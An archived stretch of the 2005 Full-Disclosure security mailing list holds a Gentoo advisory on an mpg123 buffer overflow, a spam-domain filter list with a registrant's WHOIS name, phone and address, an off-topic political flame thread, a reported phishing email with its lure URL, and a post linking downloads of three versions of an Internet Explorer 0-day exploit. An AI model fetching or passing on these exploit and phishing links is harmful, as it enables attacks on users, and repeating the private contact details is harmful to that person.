Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 481 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/fec6f6bf/attachment.bin 

From krispykringle at gentoo.org  Tue Jan 11 00:08:37 2005
From: krispykringle at gentoo.org (Dan Margolis)
Date: Mon, 10 Jan 2005 19:08:37 -0500
Subject: [Full-Disclosure] [ GLSA 200501-14 ] mpg123: Buffer overflow
Message-ID: <20050111000837.GB1832@specialk>


 Linux Security Advisory                           GLSA 200501-14
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: mpg123: Buffer overflow
      Date: January 10, 2005
      Bugs: #76862
        ID: 200501-14

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

An attacker may be able to execute arbitrary code by way of specially
crafted MP2 or MP3 files.

Background
==========

mpg123 is a real-time MPEG audio player.

Affected packages
=================

    -------------------------------------------------------------------
     Package             /  Vulnerable  /                   Unaffected
    -------------------------------------------------------------------
  1  media-sound/mpg123     < 0.59s-r9                     >= 0.59s-r9

Description
===========

mpg123 improperly parses frame headers in input streams.

Impact
======

By inducing a user to play a malicious file, an attacker may be able to
exploit a buffer overflow to execute arbitrary code with the
permissions of the user running mpg123.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All mpg123 users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=media-sound/mpg123-0.59s-r9"

References
==========

  [ 1 ] CAN-2004-0991
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0991
  [ 2 ] Bugtraq Announcement
        http://www.securityfocus.com/archive/1/374433

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-14.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 481 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/d8fbfdd0/attachment.bin 

From stuart at cyberdelix.net  Tue Jan 11 01:36:45 2005
From: stuart at cyberdelix.net (lsi)
Date: Tue, 11 Jan 2005 01:36:45 -0000
Subject: [Full-Disclosure] logfile spammer
Message-ID: <41E32DAD.6337.20D335C4@localhost>

This character seems to be attempting to get himself near the top of 
my "top referring URLs" webstats page - either to get my attention, 
or - he hoped - the attention of my site visitors, who would 
ordinarily be subjected to his URLs as a result of the 1000's of hits 
he's generating in order to get himself there .....

..so I had to write a filter to sanitise my logfile.  The filter of 
course requires filter strings which I provide below, just in case 
anyone else has this same problem.

Almost all the names contain this in their WHOIS record:

Registrant Contact:
   
   Craig Williams (cwill8 at orogonet.com)
   +1.5418629145
   688 Robmar Lane
   Grants Pass, OR 97527
   US

Good to see your, uh, heathly range of tastes there Craig.

www.ads-swingers.org
www.adult-finder-friend.net
www.adult-sex-personals.org
www.adult-sex-personals.us
www.adultfinderfriend.net
www.adultpersonalsboard.org
www.cheating-wives.biz
www.cheatingwives.us
www.christian-online-dating.biz
www.christian-online-dating.us
www.christian-online-personals.com
www.christian-singles-online.net
www.christiandatingonline.biz
www.christiandatingonline.us
www.christianonlinedating.biz
www.club-swingers.com
www.dating-christian.us
www.dating-jewish.com
www.dating-jewish.us
www.datingchristian.biz
www.datingchristian.net
www.datingchristian.org
www.datingchristian.us
www.datingjewish.biz
www.discrete-encounters.com
www.encounters-adult.com
www.encounters-discreet.com
www.female-drive-dysfunction.net
www.female-dysfunction.com
www.female-dysfunction.net
www.female-enhancement.biz
www.female-libido-drive.com
www.female-libido-dysfunction.com
www.female-libido-enhancement.org
www.female-libido.org
www.female-libido.us
www.female-viagra.us
www.femaledrive.com
www.femaledysfunction.com
www.femalelibido.biz
www.femalelibido.us
www.femalelibidodysfunction.com
www.femalelibidoenhancement.net
www.femaleviagra.org
www.finderadultfriend.com
www.finderfriendadult.com
www.friend-finder-adult.biz
www.friend-finder-adult.org
www.help-sleep.com
www.help-sleeping.com
www.helpsleeping.us
www.herbal-aid.com
www.herbal-sleep.com
www.herbal-sleep.net
www.herbalsleepaid.net
www.insomnia-cure.net
www.insomnia-cure.us
www.insomnia-deprivation.biz
www.insomnia-deprivation.com
www.insomnia-disorder.com
www.insomnia-disorder.org
www.insomnia-help.org
www.insomnia-help.us
www.insomnia-herbal.com
www.insomniahelp.net
www.insomniahelp.org
www.jewish-dating-online.net
www.jewish-dating-online.org
www.jewish-online-dating.us
www.jewish-personals.org
www.jewishonlinedating.biz
www.jewishpersonals.biz
www.meet-for-sex.com
www.online-dating-christian.com
www.online-personals-christian.com
www.onlinedatingchristian.com
www.personals-adult.net
www.personals-christian.com
www.personals-jewish.com
www.personals-jewish.net
www.personals-jewish.org
www.personals-sex.com
www.personals-sex.net
www.personalschristian.org
www.red-personals.org
www.sexmeetings.net
www.singles-christian.biz
www.singles-christian.org
www.singles-christian.us
www.singles-jewish.com
www.singles-jewish.net
www.singles-jewish.org
www.singleschristian.us
www.sleep-deprivation.biz
www.sleep-deprivation.us
www.sleep-disorder.us
www.sleep-disorders.biz
www.sleepcure.org
www.sleepinghelp.org
www.swingers-club.us
www.swingers-clubs.net
www.swingers-clubs.us
www.swingers-couples.com
www.swingersads.org
www.swinging-wives.org
www.swingingcouples.biz
www.swingingcouples.us
www.swingingcouplesboard.com
www.swingingwives.net
www.swingingwives.us
www.trouble-sleeping.net
www.trouble-sleeping.us
www.troublesleeping.org
www.viagrafemale.net
www.viagrafemaledrive.com



---
Stuart Udall
stuart at at cyberdelix.dot net - http://www.cyberdelix.net/

--- 
 * Origin: lsi: revolution through evolution (192:168/0.2)



From chance_user at yahoo.com  Tue Jan 11 02:13:49 2005
From: chance_user at yahoo.com (Some User)
Date: Mon, 10 Jan 2005 18:13:49 -0800 (PST)
Subject: [Full-Disclosure] PoC to be released on 01/20/05
Message-ID: <20050111021349.14562.qmail@web61208.mail.yahoo.com>

This is a PoC by the people! Be sure to do your part. :-)
 
Not One Damn Dime Day - Jan 20, 2005

Since our religious leaders will not speak out against the war in Iraq, since our political leaders don't have the moral courage to oppose it, Inauguration Day, Thursday, January 20th, 2005 is "Not One Damn Dime Day" in America.
 
On "Not One Damn Dime Day" those who oppose what is happening in our name in Iraq can speak up with a 24-hour national boycott of all forms of consumer spending.
 
During "Not One Damn Dime Day" please don't spend money. No one damn dime for gasoline. Not one damn dime for necessities or for impulse purchases. Not one damn dime for nothing for 24 hours.
 
On "Not One Damn Dime Day," please boycott Wal-Mart, Kmart and Target.
 
Please don't go to the mall or the local convenience store. Please don't buy any fast food (or any groceries at all for that matter).
 
For 24 hours, please do what you can to shut the retail economy down.
 
The object is simple. Remind the people in power that the war in Iraq is immoral and illegal; that they are responsible for starting it and that it is their responsibility to stop it.
 
"Not One Damn Dime Day" is to remind them, too, that they work for the people of the United States of America, not for the international corporations and K Street lobbyists who represent the corporations and funnel cash into American politics.
 
"Not One Damn Dime Day" is about supporting the troops. The politicians put the troops in harm's way.
Now 1,200 brave young Americans and (some estimate) 100,000 Iraqis have died. The politicians owe our troops a plan - a way to come home.
 
There's no rally to attend. No marching to do. No left or right wing agenda to rant about. On "Not One Damn Dime Day" you take action by doing nothing.
 
You open your mouth by keeping your wallet closed.
 
For 24 hours, nothing gets spent, not one damn dime, to remind our religious leaders and our politicians of their moral responsibility to end the war in Iraq and give America back to the people.
 
==> Please share this email. <==

Original sent by:
James Wong
Marsteller Interactive


		
---------------------------------
Do you Yahoo!?
 The all-new My Yahoo! ? What will yours do?
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/1e45795b/attachment.html 

From jasonc at science.org  Tue Jan 11 03:17:59 2005
From: jasonc at science.org (Jason Coombs)
Date: Mon, 10 Jan 2005 22:17:59 -0500
Subject: [Full-Disclosure] PoC to be released on 01/20/05
Message-ID: <E1CoCXf-0006Kx-Ac@rl.westnic.net>

> end the war in Iraq and give America back to the people.

America, like information security, belongs only to those who are
willing to work hard to hold onto it. It is accessible only to those who
understand how things really work, technically.

What you may not realize is that America has been exported. The ideals
and culture, the dream and its opportunity for realization by all
honest, hard-working citizens, no longer exists within the United States
brand way of life.

If you want your America back, you will have to relocate to the many
places in the world where it has gone to without you. America still
welcomes you, but it isn't going to save you from yourself.

Regards,

Jason Coombs
jasonc at science.org



From pwicks at oxygen.com  Tue Jan 11 03:32:25 2005
From: pwicks at oxygen.com (James Patterson Wicks)
Date: Mon, 10 Jan 2005 22:32:25 -0500
Subject: [Full-Disclosure] PoC to be released on 01/20/05
Message-ID: <3AF76382C31760418AF0FBFD84F714035D0DD2@MI8NYCMAIL07.Mi8.com>

How about Read The List Charter Day.

 

- For 24 hours, do not create a bogus Yahoo email account and send out
questions or statements not related to network security or the full
disclosure of security issues.

- For 24 hours, do not burden serious security professionals with your
personal political opinions

- For 24 hours, close your mouth, tape your fingers and read the list
charter that clearly states "Politics should be avoided at all costs."

 

This is Full Disclosure.  "The list was created on 9th July 2002 by Len
Rose, and is primarily concerned with security issues and their
discussion."

 

Since Snopes.com feels that this whole thing might be an urban legend
(http://www.snopes.com/politics/war/not1dime.asp) you might want think
about this a little more before send the message out again.

 

________________________________

From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Some User
Sent: Monday, January 10, 2005 9:14 PM
To: full-disclosure at lists.netsys.com
Subject: [Full-Disclosure] PoC to be released on 01/20/05

 

This is a PoC by the people! Be sure to do your part. :-)

 

Not One Damn Dime Day - Jan 20, 2005


Since our religious leaders will not speak out against the war in Iraq,
since our political leaders don't have the moral courage to oppose it,
Inauguration Day, Thursday, January 20th, 2005 is "Not One Damn Dime
Day" in America.

 

On "Not One Damn Dime Day" those who oppose what is happening in our
name in Iraq can speak up with a 24-hour national boycott of all forms
of consumer spending.

 

During "Not One Damn Dime Day" please don't spend money. No one damn
dime for gasoline. Not one damn dime for necessities or for impulse
purchases. Not one damn dime for nothing for 24 hours.

 

On "Not One Damn Dime Day," please boycott Wal-Mart, Kmart and Target.

 

Please don't go to the mall or the local convenience store. Please don't
buy any fast food (or any groceries at all for that matter).

 

For 24 hours, please do what you can to shut the retail economy down.

 

The object is simple. Remind the people in power that the war in Iraq is
immoral and illegal; that they are responsible for starting it and that
it is their responsibility to stop it.

 

"Not One Damn Dime Day" is to remind them, too, that they work for the
people of the United States of America, not for the international
corporations and K Street lobbyists who represent the corporations and
funnel cash into American politics.

 

"Not One Damn Dime Day" is about supporting the troops. The politicians
put the troops in harm's way.

Now 1,200 brave young Americans and (some estimate) 100,000 Iraqis have
died. The politicians owe our troops a plan - a way to come home.

 

There's no rally to attend. No marching to do. No left or right wing
agenda to rant about. On "Not One Damn Dime Day" you take action by
doing nothing.

 

You open your mouth by keeping your wallet closed.

 

For 24 hours, nothing gets spent, not one damn dime, to remind our
religious leaders and our politicians of their moral responsibility to
end the war in Iraq and give America back to the people.

 

==> Please share this email. <==


Original sent by:

James Wong
Marsteller Interactive

________________________________

Do you Yahoo!?
The all-new My Yahoo! <http://my.yahoo.com>  - What will yours do?


This e-mail is the property of Oxygen Media, LLC.  It is intended only for the person or entity to which it is addressed and may contain information that is privileged, confidential, or otherwise protected from disclosure. Distribution or copying of this e-mail or the information contained herein by anyone other than the intended recipient is prohibited. If you have received this e-mail in error, please immediately notify us by sending an e-mail to postmaster at oxygen.com and destroy all electronic and paper copies of this e-mail.

	
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/fe2309a9/attachment.html 

From tuytumadre at att.net  Tue Jan 11 04:06:47 2005
From: tuytumadre at att.net (tuytumadre at att.net)
Date: Tue, 11 Jan 2005 04:06:47 +0000
Subject: [Full-Disclosure] PoC to be released on 01/20/05
Message-ID: <011120050406.9437.41E350D60007BA83000024DD21612436460A9D0B0E039A9B979A9B@att.net>

Keep politics to a political mailing list. Besides, what America is doing in Iraq is a good thing. Its unloyal parasitic citizens like yourself that give America a bad name. If you really dont like the American freedom of speech and way of life, go live in someplace where you arent given so many freedoms. I'm sure your boycotting and talks of pointless protesting will get you executed in a heartbeat.

Paul
Greyhats Security Group
http://greyhatsecurity.org

-------------- Original message from Some User <chance_user at yahoo.com>: -------------- 


This is a PoC by the people! Be sure to do your part. :-)

Not One Damn Dime Day - Jan 20, 2005

Since our religious leaders will not speak out against the war in Iraq, since our political leaders don't have the moral courage to oppose it, Inauguration Day, Thursday, January 20th, 2005 is "Not One Damn Dime Day" in America.

On "Not One Damn Dime Day" those who oppose what is happening in our name in Iraq can speak up with a 24-hour national boycott of all forms of consumer spending.

During "Not One Damn Dime Day" please don't spend money. No one damn dime for gasoline. Not one damn dime for necessities or for impulse purchases. Not one damn dime for nothing for 24 hours.

On "Not One Damn Dime Day," please boycott Wal-Mart, Kmart and Target.

Please don't go to the mall or the local convenience store. Please don't buy any fast food (or any groceries at all for that matter).

For 24 hours, please do what you can to shut the retail economy down.

The object is simple. Remind the people in power that the war in Iraq is immoral and illegal; that they are responsible for starting it and that it is their responsibility to stop it.

"Not One Damn Dime Day" is to remind them, too, that they work for the people of the United States of America, not for the international corporations and K Street lobbyists who represent the corporations and funnel cash into American politics.

"Not One Damn Dime Day" is about supporting the troops. The politicians put the troops in harm's way.
Now 1,200 brave young Americans and (some estimate) 100,000 Iraqis have died. The politicians owe our troops a plan - a way to come home.

There's no rally to attend. No marching to do. No left or right wing agenda to rant about. On "Not One Damn Dime Day" you take action by doing nothing.

You open your mouth by keeping your wallet closed.

For 24 hours, nothing gets spent, not one damn dime, to remind our religious leaders and our politicians of their moral responsibility to end the war in Iraq and give America back to the people.

==> Please share this email. <==

Original sent by:
James Wong
Marsteller Interactive


Do you Yahoo!?
The all-new My Yahoo! ? What will yours do? 
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/85cf3c6c/attachment.html 
-------------- next part --------------
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

From measl at mfn.org  Tue Jan 11 04:36:07 2005
From: measl at mfn.org (J.A. Terranson)
Date: Mon, 10 Jan 2005 22:36:07 -0600 (CST)
Subject: [Full-Disclosure] PoC to be released on 01/20/05
In-Reply-To: <011120050406.9437.41E350D60007BA83000024DD21612436460A9D0B0E039A9B979A9B@att.net>
References: <011120050406.9437.41E350D60007BA83000024DD21612436460A9D0B0E039A9B979A9B@att.net>
Message-ID: <20050110223310.C87259@ubzr.zsa.bet>


On Tue, 11 Jan 2005 tuytumadre at att.net wrote:

> Keep politics to a political mailing list. Besides, what America is
> doing in Iraq is a good thing. Its unloyal parasitic citizens like
> yourself that give America a bad name.


No.  It's morons like you who believe that any opinion which differs from
your own is somehow "disloyal".  If The Other Bonehead had won the
election, and then pulled the troops out, would saying he was an idiot for
doing so till be "disloyal"?

You people need to try and use your [woefully inadequate] brains before
throwing terms like "disloyal" around.

-- 
Yours,

J.A. Terranson
sysadmin at mfn.org
0xBD4A95BF

 Civilization is in a tailspin - everything is backwards, everything is
upside down- doctors destroy health, psychiatrists destroy minds, lawyers
destroy justice, the major media destroy information, governments destroy
freedom and religions destroy spirituality - yet it is claimed to be
healthy, just, informed, free and spiritual. We live in a social system
whose community, wealth, love and life is derived from alienation,
poverty, self-hate and medical murder - yet we tell ourselves that it is
biologically and ecologically sustainable.

The Bush plan to screen whole US population for mental illness clearly
indicates that mental illness starts at the top.

Rev Dr Michael Ellner


From b.griffin at cqu.edu.au  Tue Jan 11 04:43:55 2005
From: b.griffin at cqu.edu.au (Brad Griffin)
Date: Tue, 11 Jan 2005 14:43:55 +1000
Subject: [OFF TOPIC] [Full-Disclosure] PoC to be released on 01/20/05
Message-ID: <E924F679D556A345B865717377DCDFC4036F0898@ROKEMAIL.staff.ad.cqu.edu.au>

 Practice what you preach and STF up about politics ya drongo. Damn, I
got baited by a political moron wearing Rose coloured glasses. 

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of
tuytumadre at att.net
Sent: Tuesday, January 11, 2005 2:07 PM
To: Some User
Cc: full-disclosure at lists.netsys.com
Subject: Re: [Full-Disclosure] PoC to be released on 01/20/05

Keep politics to a political mailing list. Besides, what America is
doing in Iraq is a good thing. Its unloyal parasitic citizens like
yourself that give America a bad name. If you really dont like the
American freedom of speech and way of life, go live in someplace where
you arent given so many freedoms. I'm sure your boycotting and talks of
pointless protesting will get you executed in a heartbeat.

 

Paul

Greyhats Security Group

http://greyhatsecurity.org


	-------------- Original message from Some User
<chance_user at yahoo.com>: -------------- 
	
	
	This is a PoC by the people! Be sure to do your part. :-)
	 
	Not One Damn Dime Day - Jan 20, 2005

	Since our religious leaders will not speak out against the war
in Iraq, since our political leaders don't have the moral courage to
oppose it, Inauguration Day, Thursday, January 20th, 2005 is "Not One
Damn Dime Day" in America.
	 
	On "Not One Damn Dime Day" those who oppose what is happening in
our name in Iraq can speak up with a 24-hour national boycott of all
forms of consumer spending.
	 
	During "Not One Damn Dime Day" please don't spend money. No one
damn dime for gasoline. Not one damn dime for necessities or for impulse
purchases. Not one damn dime for nothing for 24 hours.
	 
	On "Not One Damn Dime Day," please boycott Wal-Mart, Kmart and
Target.
	 
	Please don't go to the mall or the local convenience store.
Please don't buy any fast food (or any groceries at all for that
matter).
	 
	For 24 hours, please do what you can to shut the retail economy
down.
	 
	The object is simple. Remind the people in power that the war in
Iraq is immoral and illegal; that they are responsible for starting it
and that it is their responsibility to stop it.
	 
	"Not One Damn Dime Day" is to remind them, too, that they work
for the people of the United States of America, not for the
international corporations and K Street lobbyists who represent the
corporations and funnel cash into American politics.
	 
	"Not One Damn Dime Day" is about supporting the troops. The
politicians put the troops in harm's way.
	Now 1,200 brave young Americans and (some estimate) 100,000
Iraqis have died. The politicians owe our troops a plan - a way to come
home.
	 
	There's no rally to attend. No marching to do. No left or right
wing agenda to rant about. On "Not One Damn Dime Day" you take action by
doing nothing.
	 
	You open your mouth by keeping your wallet closed.
	 
	For 24 hours, nothing gets spent, not one damn dime, to remind
our religious leaders and our politicians of their moral responsibility
to end the war in Iraq and give America back to the people.
	 
	==> Please share this email. <==

	Original sent by:
	James Wong
	Marsteller Interactive

	
________________________________

	Do you Yahoo!?
	The all-new My Yahoo! <http://my.yahoo.com/>  - What will yours
do? 





From Valdis.Kletnieks at vt.edu  Tue Jan 11 05:18:15 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Tue, 11 Jan 2005 00:18:15 -0500
Subject: [Full-Disclosure] PoC to be released on 01/20/05 
In-Reply-To: Your message of "Mon, 10 Jan 2005 22:36:07 CST."
	<20050110223310.C87259@ubzr.zsa.bet> 
References: <011120050406.9437.41E350D60007BA83000024DD21612436460A9D0B0E039A9B979A9B@att.net>
	<20050110223310.C87259@ubzr.zsa.bet>
Message-ID: <200501110518.j0B5IGAI032273@turing-police.cc.vt.edu>

On Mon, 10 Jan 2005 22:36:07 CST, "J.A. Terranson" said:
> 
> On Tue, 11 Jan 2005 tuytumadre at att.net wrote:
> 
> > Keep politics to a political mailing list. Besides, what America is
> > doing in Iraq is a good thing. Its unloyal parasitic citizens like
> > yourself that give America a bad name.
> 
> 
> No.  It's morons like you who believe that any opinion which differs from
> your own is somehow "disloyal".  If The Other Bonehead had won the
> election, and then pulled the troops out, would saying he was an idiot for
> doing so till be "disloyal"?
> 
> You people need to try and use your [woefully inadequate] brains before
> throwing terms like "disloyal" around.

Amen to that.

"To announce that we are to stand by the president right or wrong is not 
only unpatriotic and servile, but it's morally treasonable to the 
American public.  Nothing but the truth should be spoken about him or 
any one else.  But it is even more important to tell the truth, pleasant 
or unpleasant, about him than about any one else." -- Theodore Roosevelt

There you go.  Said by one of the greatest patriots since the Revolutionary
War - and he's urging Full Disclosure. ;)

(At least *TEDDY* is on-topic here, even if non of the rest of the thread is. ;)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/73baef06/attachment.bin 

From uberguidoz at gmail.com  Tue Jan 11 06:53:55 2005
From: uberguidoz at gmail.com (GuidoZ)
Date: Mon, 10 Jan 2005 22:53:55 -0800
Subject: [Full-Disclosure] PoC to be released on 01/20/05
In-Reply-To: <3AF76382C31760418AF0FBFD84F714035D0DD2@MI8NYCMAIL07.Mi8.com>
References: <3AF76382C31760418AF0FBFD84F714035D0DD2@MI8NYCMAIL07.Mi8.com>
Message-ID: <b7bc1b1f05011022535f588d5f@mail.gmail.com>

Well said, James.

It really doesn't matter if you agree or disagree with the
statements... this isn't the place for such discussions. Hiding behind
an anonymous Yahoo email address is pretty weak too. If you *really*
need to express yourself so badly, at least reveal your identity.

--
Peace. ~G


On Mon, 10 Jan 2005 22:32:25 -0500, James Patterson Wicks
<pwicks at oxygen.com> wrote:
>  
>  
> 
> How about Read The List Charter Day. 
> 
>   
> 
> - For 24 hours, do not create a bogus Yahoo email account and send out
> questions or statements not related to network security or the full
> disclosure of security issues. 
> 
> - For 24 hours, do not burden serious security professionals with your
> personal political opinions 
> 
> - For 24 hours, close your mouth, tape your fingers and read the list
> charter that clearly states "Politics should be avoided at all costs." 
> 
>   
> 
> This is Full Disclosure.  "The list was created on 9th July 2002 by Len
> Rose, and is primarily concerned with security issues and their discussion."
> 
>   
> 
> Since Snopes.com feels that this whole thing might be an urban legend
> (http://www.snopes.com/politics/war/not1dime.asp) you might want think about
> this a little more before send the message out again. 
> 
>   
[snip]


From theinsider at 012.net.il  Tue Jan 11 08:36:32 2005
From: theinsider at 012.net.il (Rafel Ivgi, The-Insider)
Date: Tue, 11 Jan 2005 10:36:32 +0200
Subject: [Full-Disclosure] UPDATED: the insider exploit( = the latest ie
	0day which involves SHOWMODALDIALOG)
Message-ID: <001c01c4f7b8$a7aea420$f85ab350@noone>

I forgot to tell everyone that i made an aspx version of jelmers exploit.

So lets sum it up, all the exploits to 0-day --> "The-Insider-Prototype"(as
defined by Liu) are:
1) JSP VERSION BY JELMER -
http://www.k-otik.com/exploits/07072004.IEApplicationShell.php
2) PHP VERSION BY Liu Die Yu- http://0daymon.org/monitor/insider/dir.zip
3) ASPX VERSION BY Rafel
ivgi -http://theinsider.deep-ice.com/The-Insider.zip


Greetings: Liu Die Yu, Drew Copley, Malware

Rafel Ivgi, The-Insider
Security Consultant



From juha-matti.laurio at om.fi  Tue Jan 11 09:29:52 2005
From: juha-matti.laurio at om.fi (juha-matti.laurio at om.fi)
Date: Tue, 11 Jan 2005 11:29:52 +0200
Subject: [Full-Disclosure] Re: AV security contacts
Message-ID: <OF4FEBF51B.AF8B2C13-ONC2256F86.002CA3FF-C2256F86.00344835@om.fi>

There is Open Source Vulnerability Database (OSVDB) Vendor Dictionary
available at
http://www.osvdb.org/vendor_dict.php

Common e-mail address and/or security contact is available in that list,
for example http://www.osvdb.org/vendor_dict.php?section=vendor&id=1229&c=S  (Symantec).

Additionally, Secunia has their Products => Software section page 
available,
http://secunia.com/product/#software

for example http://secunia.com/product/164/  (Sophos).
You can select 'Vendor' link to visit vendor's home page.
Look at 'Contact Us' etc.

However, you waited for reply to your question only three hours.
Check those lists and send your analysis to them.


Regards,
Juha-Matti


From dan_20407 at msn.com  Tue Jan 11 02:27:55 2005
From: dan_20407 at msn.com (DAN MORRILL)
Date: Tue, 11 Jan 2005 02:27:55 +0000
Subject: [Full-Disclosure] Interesting but suspicious possible phishing mail
Message-ID: <BAY3-F6DFC3B80597953B0FA3E1C0880@phx.gbl>

Hi folks,

Got this really interesting mail in my box today, and knowing that I haven't 
used that e-mail address or ordered anything on line lately. Wondering if it 
might not be a phishing e-mail. Haven't seen anything like this before. 
Anyone see anything similar?
r/
Dan



from :  Gabrielle U. Philips, Jr <gbhclayddnoglk at safe-mail.net>
Sent :  Monday, January 10, 2005 10:40 PM
To :  "Gabrielle U. Philips, Jr" <MickeyandSnake7tit at safe-mail.net>
CC :  mdamon at qwest.net, mdamore at qwest.net, mdan12 at qwest.net, 
mdan22 at qwest.net, mdan32 at qwest.net
Subject :  Shipping Notification, Tracking Number : TCD461649887242ESB

MIME-Version: 1.0
Received: from msnmail2.uswest.net ([63.226.138.22]) by mc10-f38.hotmail.com 
with Microsoft SMTPSVC(6.0.3790.211); Mon, 10 Jan 2005 14:45:54 -0800
Received: (qmail 72801 invoked by uid 0); 10 Jan 2005 22:45:55 -0000
Received: from unknown (63.226.138.18) by msnmail2.uswest.net with QMQP; 10 
Jan 2005 22:45:55 -0000
Received: (qmail 56089 invoked by uid 0); 10 Jan 2005 22:45:55 -0000
Received: from 42-171-64.adsl.cust.tie.cl (200.42.171.64) by 
mpls-cmx-12.inet.qwest.net with SMTP; 10 Jan 2005 22:45:42 -0000
X-Message-Info: JGTYoYF78jHm2Kmrh/becsOSGajhcE+aqhdcaXLDOFI=
Delivered-To: mdan12 at qwest.net
X-DCC-Qwest.net-Metrics: mpls-cmx-12.inet.qwest.net 1210; Body=4 
Fuz1=4Fuz2=4
Return-Path: ihgeclhtquoqdm at gawab.com
X-OriginalArrivalTime: 10 Jan 2005 22:45:54.0814 (UTC) 
FILETIME=[24BA71E0:01C4F766]




Content-Type: multipart/mixed; 
boundary="-----mpls-cmx-12.inet.qwest.net-1105397155-56110"


Content-Type: text/plain


This email was forwarded from your previous Qwest.net email address
to your MSN email address.  To discontinue email forwarding for any
future emails sent to your previous Qwest.net email address, please
contact MSN Customer Service.





Content-Type: message/rfc822
Content-Description: forwarded message
Content-Transfer-Encoding: 8bit
Content-Disposition: inline


From: Gabrielle U. Philips, Jr <gbhclayddnoglk at safe-mail.net>
To: "Gabrielle U. Philips, Jr" <MickeyandSnake7tit at safe-mail.net>
Cc: mdamon at qwest.net, mdamore at qwest.net, mdan12 at qwest.net, mdan22 at qwest.net, 
mdan32 at qwest.net
Subject: Shipping Notification, Tracking Number : TCD461649887242ESB
Sent: Monday, January 10, 2005 10:40 PM
MIME-Version: 1.0
Received: (qmail 56089 invoked by uid 0); 10 Jan 2005 22:45:55 -0000
Received: from 42-171-64.adsl.cust.tie.cl (200.42.171.64) by 
mpls-cmx-12.inet.qwest.net with SMTP; 10 Jan 2005 22:45:42 -0000
X-DCC-Qwest.net-Metrics: mpls-cmx-12.inet.qwest.net 1210; Body=4 
Fuz1=4Fuz2=4 Content-Type: multipart/alternative; 
boundary="--Part_GRKDac7J6.oMXawOLoYO4"


Content-Type: text/html; format=flowed; charset=iso-8859-15
Content-Transfer-Encoding: quoted-printable

Check your status Below:

cov2pa.com/track.asp?cg=1&c=tc

The illiterate of the 21st century will not be those who cannot read and 
write, but those who cannot learn, unlearn, and relearn. Alvin Toffler
Those police officers are practicing driving between the two buildings.
The illiterate of the 21st century will not be those who cannot read and 
write, but those who cannot learn, unlearn, and relearn. Alvin Toffler
Haven't the photographers already disliked praying?
Few things are harder to put up with than the annoyance of a good example.
3
When people are free to do as they please, they usually imitate each other. 
-Eric Hoffer (1902-1983)
Have you already loved sleeping?








Sometimes MSN E-mail will indicate that the mesasge failed to be delivered. 
Please resend when you get those, it does not mean that the mail box is bad, 
merely that MSN mail is over worked at the time.

_________________________________________________________________
Don?t just search. Find. Check out the new MSN Search! 
http://search.msn.click-url.com/go/onm00200636ave/direct/01/



From macygasp at gmail.com  Tue Jan 11 07:56:32 2005
From: macygasp at gmail.com (Marcy Darcy)
Date: Tue, 11 Jan 2005 07:56:32 +0000
Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation,
	corrected
Message-ID: <888c2d720501102356552821df@mail.gmail.com>

I'm running a small server with the 2.6.10 kernel.

The exploit doesen't seem to be working on this kernel. Is there a way
to make sure the sistem is vulnerable or not?

#uname -a 
Linux test 2.6.10 #1 SMP Mon Jan 3 10:20:00 i686 Intel(R) Pentium(R) 4
CPU 3.00GHz GenuineIntel GNU/Linux


From rohit at kritikalsolutions.com  Tue Jan 11 08:27:38 2005
From: rohit at kritikalsolutions.com (rohit at kritikalsolutions.com)
Date: Tue, 11 Jan 2005 13:57:38 +0530 (IST)
Subject: [Full-Disclosure] Security Contact for Nokia Mobile phone softwares
Message-ID: <50229.203.190.133.11.1105432058.squirrel@203.190.133.11>

Hi,
 Does anyone know of security contact for Nokia or symbian OS?
Specifically for models 6600 and 7610.
Please reply to me directly as I am not on the list.
Thanks
Rohit


From nicolas.waisman at immunitysec.com  Tue Jan 11 10:11:57 2005
From: nicolas.waisman at immunitysec.com (Nicolas Waisman)
Date: Tue, 11 Jan 2005 05:11:57 -0500
Subject: [Full-Disclosure] full-disclosure@lists.netsys.com
Message-ID: <20050111101157.GA27814@fist.immunitysec.com>

